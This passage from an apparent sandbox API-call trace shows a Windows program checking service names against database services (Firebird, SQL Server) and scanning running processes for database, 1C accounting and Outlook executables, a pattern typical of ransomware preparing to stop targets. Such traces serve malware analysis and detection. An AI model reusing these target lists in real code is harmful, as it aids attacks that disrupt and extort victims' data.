(lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0266.027] lstrlenW (lpString="iphlpsvc") returned 8 [0266.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.027] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0266.027] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0266.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0266.027] lstrlenW (lpString="LanmanServer") returned 12 [0266.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0266.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0266.028] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0266.028] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0266.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0266.028] lstrlenW (lpString="LanmanWorkstation") returned 17 [0266.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.028] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0266.028] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0266.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0266.028] lstrlenW (lpString="lmhosts") returned 7 [0266.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0266.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0266.028] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0266.028] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0266.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0266.029] lstrlenW (lpString="MMCSS") returned 5 [0266.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0266.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0266.029] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0266.029] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0266.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0266.029] lstrlenW (lpString="MpsSvc") returned 6 [0266.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0266.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0266.029] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0266.029] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0266.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0266.030] lstrlenW (lpString="Netman") returned 6 [0266.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0266.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0266.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0266.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0266.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0266.030] lstrlenW (lpString="netprofm") returned 8 [0266.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0266.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0266.030] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0266.031] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0266.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0266.031] lstrlenW (lpString="NlaSvc") returned 6 [0266.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0266.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0266.031] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0266.031] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0266.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0266.031] lstrlenW (lpString="nsi") returned 3 [0266.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0266.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0266.031] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0266.032] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0266.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0266.032] lstrlenW (lpString="PcaSvc") returned 6 [0266.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0266.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0266.032] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0266.032] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0266.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0266.032] lstrlenW (lpString="PlugPlay") returned 8 [0266.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0266.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0266.032] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0266.033] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0266.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0266.033] lstrlenW (lpString="Power") returned 5 [0266.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0266.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0266.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0266.033] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0266.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0266.033] lstrlenW (lpString="ProfSvc") returned 7 [0266.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0266.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0266.034] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0266.034] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0266.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0266.034] lstrlenW (lpString="RpcEptMapper") returned 12 [0266.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.034] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0266.034] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0266.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0266.034] lstrlenW (lpString="RpcSs") returned 5 [0266.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0266.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0266.035] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0266.035] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0266.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0266.035] lstrlenW (lpString="SamSs") returned 5 [0266.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0266.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0266.036] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0266.036] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0266.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0266.036] lstrlenW (lpString="Schedule") returned 8 [0266.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0266.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0266.036] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0266.036] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0266.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0266.036] lstrlenW (lpString="SENS") returned 4 [0266.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0266.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0266.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0266.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0266.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0266.037] lstrlenW (lpString="ShellHWDetection") returned 16 [0266.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.037] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0266.037] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0266.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0266.037] lstrlenW (lpString="Spooler") returned 7 [0266.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0266.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0266.038] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0266.038] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0266.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0266.038] lstrlenW (lpString="SysMain") returned 7 [0266.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0266.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0266.038] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0266.038] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0266.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0266.038] lstrlenW (lpString="Themes") returned 6 [0266.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0266.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0266.038] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0266.038] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0266.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0266.039] lstrlenW (lpString="TrkWks") returned 6 [0266.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0266.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0266.039] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0266.039] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0266.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0266.039] lstrlenW (lpString="UxSms") returned 5 [0266.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0266.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0266.039] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0266.039] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0266.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0266.040] lstrlenW (lpString="WdiServiceHost") returned 14 [0266.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0266.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0266.040] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0266.040] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0266.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0266.040] lstrlenW (lpString="WdiSystemHost") returned 13 [0266.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0266.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0266.040] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0266.040] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0266.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0266.041] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0266.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0266.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0266.041] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0266.041] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0266.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0266.041] lstrlenW (lpString="Winmgmt") returned 7 [0266.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0266.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0266.041] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0266.041] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0266.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0266.042] lstrlenW (lpString="WPDBusEnum") returned 10 [0266.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0266.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0266.042] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0266.042] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0266.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0266.042] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41a2db8 | out: hHeap=0x880000) returned 1 [0266.042] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d4 [0266.048] Process32FirstW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.049] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.050] lstrlenW (lpString="System") returned 6 [0266.050] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0266.050] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0266.050] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0266.050] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0266.050] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0266.050] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0266.050] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0266.050] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.214] lstrlenW (lpString="smss.exe") returned 8 [0266.214] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0266.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0266.214] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0266.214] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0266.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0266.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0266.214] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0266.214] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.215] lstrlenW (lpString="csrss.exe") returned 9 [0266.215] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0266.215] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0266.215] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0266.216] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0266.216] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0266.216] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0266.216] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0266.216] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.217] lstrlenW (lpString="wininit.exe") returned 11 [0266.217] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0266.217] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0266.217] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0266.217] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0266.217] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0266.217] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0266.217] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0266.217] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.218] lstrlenW (lpString="csrss.exe") returned 9 [0266.218] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0266.218] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0266.219] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0266.219] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0266.219] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0266.219] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0266.219] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.220] lstrlenW (lpString="winlogon.exe") returned 12 [0266.220] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.221] lstrlenW (lpString="services.exe") returned 12 [0266.221] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.222] lstrlenW (lpString="lsass.exe") returned 9 [0266.222] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0266.224] lstrlenW (lpString="lsm.exe") returned 7 [0266.224] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.225] lstrlenW (lpString="svchost.exe") returned 11 [0266.226] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.226] lstrlenW (lpString="svchost.exe") returned 11 [0266.227] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.228] lstrlenW (lpString="svchost.exe") returned 11 [0266.228] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.229] lstrlenW (lpString="svchost.exe") returned 11 [0266.229] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.230] lstrlenW (lpString="svchost.exe") returned 11 [0266.230] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0266.231] lstrlenW (lpString="audiodg.exe") returned 11 [0266.231] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.232] lstrlenW (lpString="svchost.exe") returned 11 [0266.232] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0266.233] lstrlenW (lpString="explorer.exe") returned 12 [0266.233] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.234] lstrlenW (lpString="dwm.exe") returned 7 [0266.235] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.235] lstrlenW (lpString="svchost.exe") returned 11 [0266.236] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0266.237] lstrlenW (lpString="driver.exe") returned 10 [0266.237] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0266.238] lstrlenW (lpString="spoolsv.exe") returned 11 [0266.239] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0266.240] lstrlenW (lpString="taskhost.exe") returned 12 [0266.240] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.241] lstrlenW (lpString="svchost.exe") returned 11 [0266.241] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0266.242] lstrlenW (lpString="reader_sl.exe") returned 13 [0266.242] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, 